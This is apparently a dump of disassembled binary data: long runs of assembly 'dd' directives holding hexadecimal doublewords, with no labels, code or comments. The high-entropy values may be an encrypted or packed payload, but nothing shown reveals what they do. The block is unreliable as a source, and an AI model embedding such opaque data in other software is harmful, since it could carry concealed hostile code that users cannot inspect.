		dd 3CA4E281h, 0E97639D1h, 45ABEDACh, 3AA8B10Ah,	3A7729FBh
		dd 0BD2BCFDh, 1F7C13BBh, 6434880h, 0B356AB68h, 7C4104A8h
		dd 0A601AA5Fh, 64E502D9h, 5804B22Bh, 21E00201h,	5F0901BFh
		dd 0C82099DEh, 7B5BCA09h, 463E0090h, 973E557Eh,	804BDEAh
		dd 72A0EE5Ah, 9AFA54A2h, 697295EBh, 58C985BFh, 207A26C1h
		dd 0CA25C16Fh, 7EA37B02h, 2678578Ch, 5A72075Ch,	7E5A25D2h
		dd 90C201Bh, 0EBF4E95Fh, 2D6AFB55h, 0F0D8117Eh,	0A8CB9573h
		dd 8272F3F0h, 10ACB09h,	0C5D97FDEh, 0D3D6D66Bh,	9E74E20h
		dd 57F8685Dh, 8F8E4BF9h, 0C7464B5Eh, 53DF0F57h,	2289C849h
		dd 0C6EB117Fh, 0A5F7F52Fh, 0A403FE18h, 0B26C322Eh, 5CB85002h
		dd 9F62A468h, 34A1A088h, 0AD317A2Fh, 0F98952CEh, 18FD7B40h
		dd 3C12B57Fh, 592FEF28h, 0F70BB471h, 18BA5DD2h,	9098F055h
		dd 0A57C95AEh, 7E59E90Bh, 0BA7F2737h, 7016D7F6h, 66580096h
		dd 7E482E68h, 5A1910E7h, 0A4046EE9h, 0C7188F75h, 0FD9DF35Bh
		dd 6BF9DF18h, 0B5F0FACFh, 133E6BC5h, 82E9F27Bh,	39393B1Fh
		dd 0FAF5AC50h, 7C172F5Ah, 2027027Ch, 6345F75Dh,	7F21E794h
		dd 5BD1EC2Fh, 6422F5C1h, 8F94BE05h, 1B5F1EEh, 6A4E6198h
		dd 30204739h, 51369AF1h, 20A7C952h, 4BE3B6D5h, 0BF2BAB14h
		dd 0DC8B8C4Bh, 0F7835F60h, 58FA2811h, 85002B34h, 0E94E8BABh
		dd 22DC0B68h, 0C280CA04h, 56E3E984h, 0F6EA8606h, 20CB08D5h
		dd 40677973h, 0CFFEABB7h, 3B5551B0h, 0B2482ED2h, 3402C28h
		dd 3608138Eh, 623891D9h, 0DCEF93A7h, 1F9CB906h,	661071ACh
		dd 0A975528h, 88A33C9h,	0C1E2E08Ah, 22764F45h, 716ACA00h
		dd 1AE9189Eh, 0F182A8D9h, 457402CFh, 59CE29B8h,	2B30E4F5h
		dd 42C0210Ch, 0AC74FBE9h, 0DABFFC2Dh, 4C423C60h, 0E9D1FFCEh
		dd 667E26A3h, 4A6CB2A9h, 0BF5D80BDh, 31EE22ABh,	0A3016298h
		dd 290DEA2Ch, 13F5AD7h,	0D8152A71h, 7BA92E36h, 0A172893Bh
		dd 167FA9B4h, 0EDD0FED1h, 4E921F4Bh, 7307FA7Ch,	8B3B5AD6h
		dd 34307D66h, 0B9808EECh, 0E55C2697h, 0D5612F9Ch, 5F6A785Dh
		dd 87A564EBh, 0F6A71F2Ch, 48F2DE5Ch, 290A566Dh,	7C109FEBh
		dd 2BDE267Ch, 0AFE4453Fh, 0E1BC2D17h, 3AE84D30h, 2412B575h
		dd 0D013D509h, 805A7841h, 2CE42AEAh, 0ED9CB5D0h, 4508182Dh
		dd 15DD09C8h, 44880071h, 0A6B507C3h, 1E023951h,	8808212Dh
		dd 0EC6CD7A5h, 46701E27h, 4D1C2020h, 0E813665Eh, 9BF721BAh
		dd 1ED96964h, 23565058h, 546221E4h, 1D66440Dh, 3C3BEFBBh
		dd 645BDA16h, 35C9AC3Bh, 5A062659h, 180A7477h, 323C4EF2h
		dd 0DFC5AD0h, 0F77F192Fh, 7DF1583h, 1B07D5Ah, 0EBF84AB9h
		dd 12E5EC21h, 9B4F72Ah,	0B151FB68h, 53495DF4h, 0C34288F9h
		dd 4BAA387h, 16EAB9A1h,	347F3103h, 0E612942Dh, 1A86258Eh
		dd 0A300CB72h, 214E9D79h, 94455AD5h, 1FD92D32h,	79304A61h
		dd 33D5C06Eh, 0FC6BA8CBh, 74170037h, 0C14E3D07h, 4338880Ch
		dd 0A0AC3EB3h, 0C2399192h, 595F0022h, 0ACF85B21h, 45FFB47Ah
		dd 0AFA636F2h, 21E91D21h, 0BE2D133Bh, 2555C9DFh, 8105B3D1h
		dd 2E273256h, 0C4D074AFh, 3AB2B188h, 386150D9h,	7DFA7025h
		dd 0E9F05F74h, 173560E3h, 0D171C6E2h, 0B9511307h, 16A46BE4h
		dd 0ED5C04AFh, 0E17F8DBFh, 3C053B64h, 26815E54h, 500297C0h
		dd 845FB5Dh, 81005C61h,	4B6BC1E1h, 185980Ah, 65A9444h
		dd 9D774EE9h, 5400BB22h, 0C6B85363h, 0C4D42FCAh, 0C9FD0E62h
		dd 1C74A0CAh, 3C86B640h, 5FA15098h, 2D0C37F3h, 0AC57084Eh
		dd 0DC9325DFh, 7789D65Ch, 0B0946E60h, 2152DEEh,	39F904A9h
		dd 7A2FBD07h, 68620127h, 0C7E6F7A9h, 32BBB81Dh,	90C6997h
		dd 0BC7351Fh, 43921E41h, 354D6F01h, 33092E09h, 81227CC6h
		dd 206B1877h, 7A03041h,	0A148B5BCh, 5D0F6309h, 0E8B702ECh
		dd 83CB5D0h, 4C0140C7h,	0A57E234h, 0AEB885BBh, 0FB663461h
		dd 6E5D9B30h, 0B264C455h, 1FD1BC1Eh, 1C1D1B0Ch,	438AC381h
		dd 947E6130h, 0E00811AEh, 19CFFB4Bh, 9A54D85Ah,	6EAF8C9Dh
		dd 7B6E07BDh, 0D24D561Fh, 1B5F266Dh, 2EEC939h, 8BB0A33Eh
		dd 20D16453h, 0F69D9147h, 21CD0053h, 0F748B176h, 5810D560h
		dd 60758A4Fh, 0B0A7D44Dh, 0F0940A31h, 4B11EC25h, 0B302815Bh
		dd 5CB57B4Fh, 120AB42h,	0C980C7FEh, 0B4078E73h,	5BFC0193h
		dd 0E07AE620h, 705E7FDEh, 320B1E88h, 0DCAFE08h,	84318D09h
		dd 63CCE87Eh, 853E6FC0h, 15C7CEFAh, 4A973CFEh, 13B744FBh
		dd 0D204134Bh, 112CBE7h, 700F9372h, 714C2069h, 968FF016h
		dd 4A52ACCCh, 0E917055Dh, 210BAAA4h, 0D1E7757h,	25D351Eh
		dd 81BE7E56h, 0E3FA52BEh, 0EE9755B6h, 4370BF6Dh, 17C5C54Fh
		dd 9C18EAEh, 72906850h,	0C7C4315Ah, 3F5DEE2Dh, 81D2F527h
		dd 36765D0Ah, 0A0B66BCFh, 392AB98Fh, 273E7AA8h,	3490BFF2h
		dd 6596A68h, 2EC9FB3h, 8AA15A96h, 0B14383E4h, 0EE7C4B40h
		dd 0FFB0CF8Bh, 0E125499Eh, 61CCD30Eh, 5454F968h, 5B6F9C3Eh
		dd 0FAD8D695h, 0B2304912h, 9A136851h, 804234Bh,	0B907A0B0h
		dd 0B69F91h, 3AF6E12Ah,	22903C2Dh, 0BA3E7DB0h, 1735C7Ch
		dd 8970DF0Eh, 0EAF859CAh, 657C9D05h, 8D03978Dh,	505DB82Fh
		dd 3F408ABBh, 59FB7729h, 502F7Ah, 4B180F9h, 16D9863Fh
		dd 9B9014C6h, 987030E0h, 0B2ED0BD9h, 3C86B9ABh,	5D12AF95h
		dd 0C8FE8E68h, 5E7553F6h, 5B4EF173h, 0B17A02E1h, 9DD72853h
		dd 5F3425C9h, 0BD80D8DBh, 681B7003h, 29265487h,	295A02BEh
		dd 0F5E935B4h, 555C3778h, 38D400F0h, 30BD0315h,	2B52EC9h
		dd 0D5FCA5F5h, 8696841h, 506C8F7Bh, 2E0030AFh, 0BB531743h
		dd 904F6BF4h, 9DF268Ah,	3A547C6h, 0CE406977h, 5FB0D9B3h
		dd 7F578E0Ch, 16B80C7Bh, 0AEFA4FA1h, 70DCB883h,	0E0C87875h
		dd 282C1CD8h, 62365268h, 5E56F163h, 89E9BD16h, 48D6E57Ah
		dd 0E162A73Ch, 7C70BF2Eh, 0E1475FE9h, 0DD36F97Eh, 0F86928A2h
		dd 0C14A09E9h, 685003E2h, 6004081Fh, 3BE555D6h,	545BD12Eh
		dd 0C0C6325Ah, 317D5CB8h, 61709F34h, 0E90506C2h, 29066891h
		dd 96E2BDF8h, 52C0E957h
		dd 0D12C0D21h, 109DBB4Eh, 39FFE645h, 0B2326AA5h, 593E4942h
		dd 0FA79537Ch, 85D49EDDh, 81FB0C9Eh, 54D26FCh, 105FF2BBh
		dd 80016AC8h, 0EBC0BFF3h, 8C90EC02h, 25EBCEBDh,	155C9268h
		dd 0D9BF07C5h, 7208C1F9h, 4A0FC496h, 0B8C38CEFh, 55166F1Fh
		dd 0F5C23B57h, 0BCD9F728h, 94DD4A7h, 52773140h,	0F55120B7h
		dd 0C5D360F7h, 0EA92ED96h, 0C2F787BBh, 0CEDD77FCh, 9C86F6E1h
		dd 0C25F256Fh, 5AE2FF98h, 98FC6C75h, 602D71CDh,	51E6C090h
		dd 60E58973h, 0BF801B2Ch, 4F760B1Dh, 0F0F3111h,	0E95EF3E0h
		dd 4795058Ch, 6A63885Fh, 4202FDA7h, 6048F674h, 0F90E5A69h
		dd 2E58155h, 602FC11Bh,	3E362019h, 0F50101DFh, 3DF2DE69h
		dd 5BD06029h, 38F97AB0h, 0FE5A2DABh, 8045A66h, 0FF0C168Bh
		dd 0BF39FB5h, 790F78CBh, 0D055B789h, 0FD90816Dh, 0BA257D21h
		dd 0A5620261h, 6CC4AA92h, 9B9F01EDh, 0DBB18980h, 0D1176392h
		dd 0D63104AFh, 11D4BEE9h, 0ACBF71D4h, 8C7AADD9h, 3B4ABF82h
		dd 0BEF652EBh, 0F744A2E6h, 0DB879FE4h, 0EACA6457h, 6E548F0Ah
		dd 4C5701E6h, 0C1183F5Eh, 9FBE3657h, 55B1CB8h, 721047FDh
		dd 6C9A4007h, 16AE113h,	572F87FCh, 380F09F4h, 0C1630145h
		dd 0E96B06EFh, 40740471h, 0EEA7572h, 0E94552CEh, 0D42EA1B8h
		dd 0BBA0F631h, 0E8698366h, 1E857C08h, 0CFBB4653h, 0EB3E1216h
		dd 0CB818107h, 0C2E90FC6h, 0BB41002Eh, 45E07EC7h, 0E5693B91h
		dd 2F7E802Eh, 0CEE9101Bh, 55F23AE9h, 93C1FDD2h,	27E9B48Ch
		dd 3292A01Fh, 3D386382h, 0FDFA4204h, 0A5830049h, 0D031B6F4h
		dd 0B27674E9h, 0EE883918h, 4B5AF71Dh, 5446387Fh, 0E24A53A4h
		dd 0F4583609h, 5E4558E1h, 5F4E9F9Ah, 4B68CA98h,	8F7BE9E2h
		dd 4D5244DAh, 512CE902h, 452A6AC8h, 1F5D2AA4h, 29660A7Eh
		dd 0EB04B2C3h, 8BEB4294h, 26CE1015h, 10F4BE25h,	0E0566B45h
		dd 9CF0E2D9h, 0EDA29515h, 0DBDDEBF3h, 0E6774BC6h, 5D8990B7h
		dd 0BD0BADC5h, 0A5C3141h, 98E7641Fh, 801C1F76h,	281741B8h
		dd 45BB7E8Ah, 0B92607A5h, 5C68C21Dh, 6245DE43h,	0C344F921h
		dd 575EF227h, 0A8617732h, 0FEC58A54h, 6E0BF8C1h, 6018FCBEh
		dd 10236806h, 1772FB9Dh, 4B1EF82Ah, 31A53CE9h, 70DE6h
		dd 2770B5B9h, 0AF5E3B0Fh, 4E1E302Ch, 3376504Fh,	0E92D9CC2h
		dd 0E73E5C97h, 0DC5D4ACFh, 8546CC3Ch, 0B5F5A2A4h, 0F62A0531h
		dd 0B5369463h, 0DF1B32FAh, 599B5209h, 5F399DABh, 4FDBF71Dh
		dd 6802EBD1h, 0B6F436E0h, 35FBE984h, 83F028BAh,	31BF784Ah
		dd 3FDBD8D4h, 0C2484544h, 6BA96802h, 79627FFCh,	504FA073h
		dd 3980FBB4h, 0C49DF7F4h, 3FE48C8Ah, 6C1720Ch, 58E788BDh
		dd 0F28E873Fh, 15D4BAC7h, 0E9D30638h, 5A9F6FB3h, 5E21B4F7h
		dd 0FB87ECC4h, 1F2CE6BEh, 7080F2F3h, 4DB85054h,	3C410505h
		dd 0CD532BE9h, 38BBD858h, 71556975h, 0DD946B9Bh, 0DEBC0B12h
		dd 0FA8AE9C4h, 9DBB2CC5h, 233FF4E4h, 798344B6h,	985A0635h
		dd 18D2999h, 319A2D57h,	31F75F47h, 7FFBCD31h, 2EF8F774h
		dd 5E121153h, 4D8EAB56h, 0E85DE9C2h, 5B0BA4F5h,	8305E8C0h
		dd 0D40160C7h, 3FD67AA9h, 12D4EFF2h, 0A1201706h, 0BD7BB4F0h
		dd 867C04E2h, 5598E9D8h, 794481D6h, 0B918C5E9h,	0F323210Ah
		dd 52C42E98h, 0E910AEE5h, 28B08B50h, 2080F69Dh,	594CB5A2h
		dd 93A059AFh, 57E5FBAh,	0EC59870Ch, 1E9825Eh, 7E8F4AEEh
		dd 0E2658B71h, 0ED0B747Ah, 5A1D3510h, 72CA0B57h, 0D68675C1h
		dd 0EF77DBE1h, 0F432031h, 7D6058C7h, 6BCBE05h, 64AD787h
		dd 4709D17Bh, 906B90E9h, 2530B10Bh, 0BA851AEBh,	53D8D79Fh
		dd 0F200F2AAh, 592D4DBFh, 0A0DFF715h, 2D45E5B8h, 75DC1F4Fh
		dd 0C1250025h, 0CEF5C74h, 49E9D138h, 0F9ED0D8h,	0B490552Fh
		dd 20466F5h, 34E954F4h,	0B927A2ACh, 5F55ABFFh, 8D48BCEAh
		dd 54BD7BCCh, 0A95EEC2Ah, 5D2A89B5h, 0B5E146B3h, 0BB946AD3h
		dd 6C142305h, 5042A820h, 2E45417Fh, 81F5901h, 0F6D837B3h
		dd 5CBD163Ch, 69F5BCE0h, 0A55855EEh, 0A1200698h, 2FB904B7h
		dd 0E9484B22h, 0D20A178Dh, 0E9B1F2F9h, 2C5B75EAh, 64C2C421h
		dd 0ABFF74BBh, 9EA55E0h, 62A81ACEh, 0B31C257h, 0B7494908h
		dd 8B6B0025h, 493E3CB8h, 0CBF60952h, 8F07F52h, 0C0024AACh
		dd 0F8E905EEh, 5FECF2E4h, 7822F3FAh, 5553D000h,	0FD076468h
		dd 55E97722h, 0AD2FB0D9h, 0FDC589B0h, 0A59C3CACh, 0B8143897h
		dd 0C233002Fh, 72532D06h, 2BE3478h, 4EBF0516h, 658DE963h
		dd 5362F661h, 78BD3D64h, 0F5F92A8Eh, 1BFE8B4h, 96B2F1Ah
		dd 0FC4F5DEFh, 0F1B5CC46h, 393008E8h, 5D33BA01h, 8A70140Bh
		dd 3DBD0310h, 4097E9A0h, 0C512024h, 1E7C7203h, 7885B569h
		dd 2B9FA1EEh, 0FCE98620h, 0EFCE9E16h, 0FC7B1B64h, 20FED77Eh
		dd 0FDBF575Fh, 0CBB07771h, 72CBE704h, 0ACAB40F5h, 9CF3D80h
		dd 2318520h, 0F0C3E9ADh, 0FD595CCBh, 0F33F0C07h, 0EFCDF71Dh
		dd 898682F3h, 2F8D7AFDh, 2E510A8Dh, 8ADBC147h, 3A069EFFh
		dd 9D00327h, 0BD11E34h,	0F204F278h, 23971BB0h, 10F94A8h
		dd 99C9E9CFh, 83589A74h, 2006B0E8h, 5C0FED17h, 2B52C80Fh
		dd 278D7418h, 13209CF7h, 0FA43A8E9h, 0F0EBCC64h, 84702CBAh
		dd 2AE9D07Bh, 6E7ED12h,	516A0193h, 2B0C2F69h, 6009EF1h
		dd 794CAFEAh, 0DA013466h, 0EC081234h, 0CEE9F373h, 51EDB599h
		dd 92BF5592h, 6CDD1EE7h, 97537B5Fh, 605B2C31h, 7414D0Eh
		dd 4E18B24h, 3D3E4410h,	1666AC41h, 71EF159Fh, 0DED568B3h
		dd 7C5E185Fh, 52EC9560h, 135BF89Fh, 0EB5E0F68h,	43615360h
		dd 0C22676EAh, 3D0CE9AFh, 31AB10DFh, 0FDA75A4Ah, 0E9F4410Dh
		dd 0E5F26836h, 32718A08h, 4370A4CCh, 0A3C2C8B6h, 3D5A65AAh
		dd 0DE76EDADh, 0E83AC0A0h, 0ACECCF42h, 3D0B0128h, 32CC21BDh
		dd 4CEA1064h, 41EF1F5Fh, 0FB307025h, 0F71F67D3h, 0EB010856h
		dd 26B16199h, 0BA8CB30h, 2D30153Ah, 0E98D14D6h,	602BB0FDh
		dd 47586887h, 4648DB9Fh, 0D827EA55h, 256F5B7Fh,	835F691Ah
		dd 162C0D43h, 255E749h,	0FEFB8A41h, 144C8776h, 4B6B629Fh
		dd 98FD123Dh, 82417A4Ch, 36760B40h, 0C81F8627h,	68D4471h
		dd 0FB219977h, 4320925Fh, 57D8B5B8h, 0D929E397h, 613E44E7h
		dd 7E656803h, 17D6B1ECh, 0DD96B488h, 179C5F4Ah,	5A8D092Dh
		dd 8875162Eh, 0C5270723h, 0C799AE51h, 0EE4F1CB6h, 0DC08B113h
		dd 0CD50D1A8h, 0F0660295h, 8A93E930h, 88E1AB6Bh, 3BDDC9F3h
		dd 4157C7A0h, 0A2AD3EC2h, 948A5825h, 219B0445h,	115BC39Dh
		dd 3BB32605h, 75C1EB80h, 58000F48h, 3D5AEC68h, 0D302108Ch
		dd 0FEE2C4A1h, 55E999E0h, 0A7E3CFFAh, 76EC7475h, 0A710EC4Fh
		dd 5F5C50E9h, 5F200B23h, 0A2E2AD85h, 0EE4F7EB6h, 5F877309h
		dd 0F6806E70h, 0D582C7C6h, 1CD7BE42h, 2CA9B969h, 9D902020h
		dd 0C2270169h, 0CABC7E75h, 77D0E6B5h, 16685B59h, 2DEB9D18h
		dd 0EBFC111Eh, 2ACA7EC0h, 0EC82C612h, 0D80FA2C0h, 965A4931h
		dd 342FD290h, 0AA084D04h, 0E9C23FE2h, 2360286Ah, 3FBAFDF1h
		dd 3050D398h, 5D7FEB47h, 751CCF27h, 0ECE1443Bh,	0F5382B26h
		dd 83414034h, 10B0839Fh, 29C5143Bh, 800ECDFCh, 0EA0F74C5h
		dd 5350DA4Bh, 0E0D55CBDh, 0B62EF3BFh, 73AD4048h, 63A67012h
		dd 4E0A04FAh, 22BE1398h, 0EC2D7463h, 0EAF57D3Ch, 0E90C0BB3h
		dd 0C90FF5Ah, 0D0F6B20Bh, 21900EC0h, 58C13044h,	28C05B21h
		dd 0DCE912CBh, 7CA4BFF8h
		dd 0DAD84C29h, 0D032B404h, 0D2E2FF7Ch, 5EF2257Eh, 810F2251h
		dd 0DD7D03CAh, 3CE0B719h, 2CC6A4A8h, 1660D029h,	7CAA933Bh
		dd 0AB920CCEh, 0A93E7226h, 0E979B68Fh, 25BA5690h, 0F661B3D9h
		dd 0A3CD80DEh, 132B1A71h, 466FAECh, 0B772FE35h,	0BF58909h
		dd 0B068D80Ah, 0FCAE4AC6h, 0A0C04B50h, 9D5354E9h, 7C585469h
		dd 30FD4F90h, 0B73360DDh, 16EB71DCh, 0A358FE2Eh, 856078CAh
		dd 8026B74Bh, 287E7BF7h, 78444645h, 2A213807h, 0A799BA4Ah
		dd 100F5C6Fh, 5D5617ACh, 0EA835CADh, 35E166D4h,	0C2C2DB01h
		dd 9845088Bh, 510542Fh,	0FA3C20E9h, 43D8CD8Ch, 3EC54010h
		dd 165A1949h, 0E63EC0Bh, 0D479FA68h, 0DE45CF68h, 0C48EBC78h
		dd 500F18A3h, 0BBD286CEh, 4F8B372Dh, 34DD054Bh,	1D479726h
		dd 5FA34D3Dh, 48CEBF0h,	1F628ABh, 30FAE6EEh, 0BA683BCDh
		dd 6BC59E11h, 5180CB7Ch, 0A547C1B9h, 9DE19503h,	3DEF2FFFh
		dd 0D0B27A4Dh, 3970DCC9h, 127794B7h, 0B2093C68h, 4E459555h
		dd 58613AEBh, 4C1F2023h, 0C076905Eh, 47D8F131h,	92B07A6Eh
		dd 5CC6A925h, 0E65D5AA7h, 9AEBF82Ah, 98EE4A41h,	0B57BB3F8h
		dd 0E921CB0Bh, 68A6C0B8h, 0E9555FC4h, 1BCF10C8h, 431EFF4Fh
		dd 0D146DB5Bh, 0A3715159h, 4A44DE60h, 2D4D804Dh, 0EE253B74h
		dd 0FF8B7D2Ch, 7EE510D5h, 0EFD99F44h, 0E7AA56C4h, 0D1AED280h
		dd 3B592DACh, 0E0867BFCh, 5298E0EFh, 61A80A20h,	2E4E8C40h
		dd 29DAD65Ch, 0C62B3507h, 0D89965D9h, 0E2B7B4DFh, 5407E70Ah
		dd 0E5567762h, 0A4973D40h, 4D97CBF8h, 2E68104Eh, 0CC5A512Ch
		dd 0F23E870Dh, 8144CB56h, 541238E0h, 0F82EC14Bh, 4A1ABF32h
		dd 0E5D0D4EAh, 3C676812h, 0D6010BB3h, 0F70CBD05h, 0C31E3AD0h
		dd 0DC797B03h, 6B3AE869h, 2D460273h, 0B2366AA5h, 6C27715Eh
		dd 0F1DF16A6h, 0D674EEFEh, 900ECF82h, 7422DD4h,	0F581702Eh
		dd 0D85C02F4h, 0CE24CA76h, 0DC87583Fh, 576EC7DDh, 562CB509h
		dd 0C6DD89E2h, 5E99AF9h, 0B1406D80h, 0C4F925C5h, 0FCD9F7D2h
		dd 5EF73100h, 0C7BBB4D3h, 0D050E251h, 0A526D164h, 0B9B1710Ch
		dd 68003452h, 0E5C443CAh, 0BA00F4DCh, 75470556h, 64E28107h
		dd 85896C0Eh, 7E8540A5h, 0B2041213h, 0F60EAC79h, 0B05004F8h
		dd 0FD14F0F5h, 4E8BFE5Fh, 468ABF92h, 0A45A3A4Ch, 3832E976h
		dd 55C3F965h, 953DD374h, 3BFF7E2Ah, 557C04Bh, 0FC2048BFh
		dd 6B70C223h, 0EE81DA74h, 46AB2A7Ah, 9E724FEDh,	9EF83C5h
		dd 0DCEE95B1h, 81D12958h, 1E6F5CEAh, 409EE091h,	86275DF9h
		dd 537EB026h, 66560665h, 5303AEE9h, 2133104Eh, 4F7BF158h
		dd 5C324733h, 0E8524858h, 0E1881777h, 6D6402ADh, 1EBD6842h
		dd 0C52B1855h, 83B2D62h, 38509186h, 965FA340h, 0BEA9F39h
		dd 0BE58B074h, 9803FD20h, 0A4AB04Bh, 62F263B7h,	47380093h
		dd 8DE94092h, 0B5AFE3D2h, 843478DFh, 8003C5BDh,	65C10AF3h
		dd 54ABBEB4h, 0D401E13h, 20BC0BB9h, 0B9845384h,	50DCACCEh
		dd 2570F077h, 6883F497h, 133C9083h, 2108DD01h, 0F641381h
		dd 182502D5h, 644FE12h,	0E7BBAD05h, 297B482Fh, 5603FE39h
		dd 0DA455CD4h, 8037C87Fh, 307D0EC4h, 0D86F58E3h, 947210ABh
		dd 36061B7h, 67BA8E40h,	7D487BF2h, 0BEDE4ED6h, 987B324h
		dd 0F1C5F7D9h, 57325BFh, 0BA052999h, 0F2AF6980h, 0D7AA4E75h
		dd 1B31E77Dh, 4149EC59h, 0C0C0CB78h, 0A7BAC916h, 5BD9F323h
		dd 4599FB9Ch, 0C6819C81h, 92899168h, 59E88608h,	0EC74BF5Ah
		dd 2C1B90C1h, 5C768B3Eh, 567105F0h, 0E8015C0Fh,	6DEF3C5Ah
		dd 0C37B1F61h, 4FC92A0Dh, 0EBE7FC29h, 6CDF281Dh, 4447CF8Fh
		dd 0AC802504h, 4E4DA3FAh, 0BDC5C187h, 0A2EE143Fh, 9CBE9244h
		dd 1E70E7CEh, 99E91384h, 51CDBA30h, 0EC4B6266h,	5742B1AAh
		dd 0EA5BD16Dh, 0EE96D81Dh, 4162D0A9h, 0E8D0EDE9h, 88976870h
		dd 632C959Eh, 0E878E9E2h, 12AEBD2Dh, 0FC3AED08h, 6C8506A1h
		dd 70C7E25h, 2B9C3B46h,	0ABC22BE9h, 0EE020151h,	75061C59h
		dd 5E5B9101h, 8374207Fh, 0C99E07FDh, 5A58256Ah,	1A103AB9h
		dd 315E2D72h, 1FF08B3h,	39DFBA18h, 434212A2h, 60253DDBh
		dd 2F3CF61Bh, 44262E5Eh, 3A7A5403h, 87EDF072h, 9B2C0546h
		dd 0BF5DEA21h, 0CA6FB0h, 71EC1CF5h, 7973BB53h, 42DB43Eh
		dd 0E815FBE3h, 0DCA9B482h, 0BEDC2712h, 0A4895F72h, 0E50B3383h
		dd 0D09A2850h, 79A62507h, 0C18E3C52h, 4A220AC0h, 41B2AF5Ch
		dd 7D4E3B0Eh, 882F7047h, 0DBD5CA62h, 0C0896904h, 9477AF62h
		dd 852A9B8Dh, 0C1E1C149h, 36154281h, 782D03BCh,	0A8449869h
		dd 5C3A3382h, 0C4204E73h, 0A186059Dh, 0C2E0BF13h, 8C412Eh
		dd 7C3542E7h, 3D220E7Bh, 0DD909582h, 7F82BF20h,	0C1B5AC10h
		dd 0B535980h, 0C7FE67B7h, 0E9089D0Ch, 12F2C927h, 2D464075h
		dd 757B7733h, 2F0CFE60h, 0C8706252h, 0C38CD681h, 6F2946C9h
		dd 0C2831CB9h, 5CA20B3Fh, 623248F7h, 8FB4AA13h,	52EBA041h
		dd 0BF6DB87Ch, 0D1007C58h, 1BE10DE8h, 1F356A91h, 0D7FF3A6Fh
		dd 4A62FB89h, 62177931h, 0EA60CF89h, 0FF5A884Fh, 0D8419462h
		dd 94897952h, 0ADE958EBh, 0B717DABEh, 89CF400Ah, 0B8EF8001h
		dd 0DA41E7C0h, 0BF00EA84h, 8F2E46C7h, 0E1103F3Eh, 8440FE4Ah
		dd 3B6D4FA5h, 0A0D55FF7h, 80040530h, 0EE898402h, 38A3C7h
		dd 1E91AFB8h, 0D9B73162h, 4D496B53h, 11C22B43h,	8696DDB9h
		dd 484AF69Fh, 1E7F09F7h, 70075149h, 6E1FA262h, 0DE975184h
		dd 0D0684642h, 67DB767Dh, 43C9AE08h, 0E9225680h, 56041A76h
		dd 44315E58h, 0B051E8ABh, 5AE548E9h, 835CFEFEh,	128F4693h
		dd 0DC8BAF92h, 0F74E1C3Fh, 690192F6h, 61F2148h,	17259739h
		dd 0CE886E02h, 2754BCE2h, 86CB0239h, 755366D9h,	4A0730F4h
		dd 5997EC88h, 8BF024Bh,	16577AD9h, 4B7564E9h, 1D63F294h
		dd 2FD331A1h, 0A45F29A9h, 14E2FD2h, 0BD5B9928h,	805E77D6h
		dd 0BC06DDD9h, 9868C3F6h, 3F4A157Fh, 3478B5B3h,	0FB84E036h
		dd 8BE8B752h, 3C7138B1h, 0B70A96ADh, 272C86E7h,	477E0B3Bh
		dd 1662D602h, 83DB0705h, 0B1E9F2C6h, 0C2FEF7E8h, 9B2D8072h
		dd 1724DA28h, 0E32F8768h, 0FA55251Dh, 27CF24CDh, 8D273C30h
		dd 5564B277h, 5EBFFE14h, 5E6858FEh, 65F52665h, 3B5BB1h
		dd 11F681B2h, 6E767D54h, 7416CE78h, 0A60147FAh,	2CF2FE89h
		dd 0E6631D3Ah, 4BE9430Bh, 19584F3Bh, 2850FA57h,	92F3A331h
		dd 26A4638Bh, 438C4CD4h, 0F62525B2h, 28DD5CF4h,	30D70F15h
		dd 0E9259EAh, 50C2D0FDh, 0DEE0CCB4h, 0EC33C078h, 1F070603h
		dd 92E9AA12h, 506D90D4h, 422D2DB8h, 0B7A1F830h,	3AAD468Dh
		dd 0EAA216BAh, 0D8EBCE85h, 297CE4Fh, 565066FFh,	5816BBA5h
		dd 1E4F0488h, 7220AA35h, 3032C3EBh, 0BF50A1A7h,	4A4BAC48h
		dd 88410FFh, 7ADB5B27h,	6ACDBA02h, 2A414058h, 0F2EBA9Fh
		dd 2309287Eh, 0FEB1D445h, 30207829h, 168CBB1Ah,	5F60F025h
		dd 12B6DAFCh, 7AD95D17h, 10DF447Eh, 0AADCEB52h,	0F799C650h
		dd 0F0970BD2h, 1276E65Ah, 172106AAh, 0CAA6A0EFh, 0E514B891h
		dd 5C0A00AEh, 0D480376h, 280813BFh, 4AF9302h, 5F4165D0h
		dd 71357402h, 0D67FDF5Bh, 4E78874h, 0FC90903h, 0FFF0BD84h
		dd 62882768h, 6A9518E6h, 0EBD1FC64h, 402D607Dh,	9534EA37h
		dd 70BB062h, 0C0276EC7h, 2F16A7A5h, 4A447A1Ah, 2C0BCCD0h
		dd 0D41EC289h, 0B3885820h, 4210F84Ch, 7105016Bh, 104926Ah
		dd 804ED75h, 3D7850C7h
		dd 967EA207h, 0A689A211h, 3D9D5B5Fh, 4ED77D92h,	92EFCD46h
		dd 0E763F8B3h, 0D0EE0EE2h, 0F0EC0545h, 0FA081B68h, 0E81D6933h
		dd 0E7C099EEh, 46E6B1F7h, 0FEF8CEE5h, 341CC1C6h, 3B5AF430h
		dd 0D2EEFFC5h, 8E775550h, 56EBC22Ch, 0B06B7528h, 1FF156B4h
		dd 0A45DF0A7h, 0B383B344h, 32060501h, 0BA1645E9h, 504E5849h
		dd 807C9516h, 93058E2h,	5D276554h, 4FBB0C20h, 7A583F0Fh
		dd 3D9A0093h, 0E9566FB7h, 0A60A5A87h, 0F7B12D4Dh, 90DFC3B0h
		dd 449E7C9Fh, 931EA4F3h, 0FAC8AB5Bh, 3CE2D68h, 7FA83819h
		dd 0DF5B9E09h, 9C02387Bh, 7645992Eh, 0BAC096Eh,	7C89D25Eh
		dd 648C5E3Fh, 80E9D360h, 0D983C2F3h, 0B4788ED2h, 0C5AC5F4Dh
		dd 88B83A57h, 0FF5DAEC4h, 0FE30E869h, 14D99D2Dh, 8CA06CE4h
		dd 4B3FDE5Ch, 1164CBD8h, 0F97DDC06h, 4E4AE831h,	0FF4FC477h
		dd 0E98287E3h, 0B6C49AE1h, 0ABB5302h, 6338A441h, 2724C06Bh
		dd 0BCBEC13h, 65EF4884h, 4120E586h, 6BB584Eh, 513D6002h
		dd 0FEFD20h, 0B25297B3h, 5AD488E1h, 5BDC281Eh, 2AD6F8D4h
		dd 0EB75DB43h, 45B5587Eh, 0CA5AB8B9h, 0ACB04A2Fh, 88E8E0AEh
		dd 7597A574h, 0B8BD9218h, 3CF70900h, 0E905EDC1h, 0F90BBF79h
		dd 5E9214DFh, 5421814Ah, 709A7F5Bh, 974E9B26h, 6B2FBA5Eh
